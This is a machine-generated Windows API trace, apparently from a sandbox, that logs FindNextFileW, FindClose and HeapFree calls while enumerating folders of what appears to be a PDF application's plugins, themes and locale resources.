	[0166.329] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0166.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0166.329] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0166.329] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0166.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.331] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1
	[0166.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.334] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0166.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.335] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0166.335] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0166.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.335] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1
	[0166.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.699] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0166.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.765] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0166.765] FindClose (in: hFindFile=0x394b8b8 | out: hFindFile=0x394b8b8) returned 1
	[0166.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.765] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1
	[0166.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.766] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0166.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.767] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0166.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.767] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0166.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.770] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0166.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.770] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0166.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.770] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0166.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.771] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0166.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.771] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0166.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.771] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0166.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.772] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0166.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.773] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0166.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.773] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0166.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.773] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0166.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.773] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0166.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.773] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1
	[0166.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.776] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1
	[0166.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.776] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1
	[0166.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0166.776] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0
	[0166.776] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0166.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0166.777] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0
	[0166.777] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0166.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0166.777] FindNextFileW (in: hFindFile=0x394b838, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0166.777] FindClose (in: hFindFile=0x394b838 | out: hFindFile=0x394b838) returned 1
	[0166.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.779] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0166.779] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0166.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.780] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1
	[0166.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0166.781] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0167.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.070] FindNextFileW (in: hFindFile=0x394bcb8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0167.070] FindClose (in: hFindFile=0x394bcb8 | out: hFindFile=0x394bcb8) returned 1
	[0167.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.070] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0167.070] FindClose (in: hFindFile=0x394b7f8 | out: hFindFile=0x394b7f8) returned 1
	[0167.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.070] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0167.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.090] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0167.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.091] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0167.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
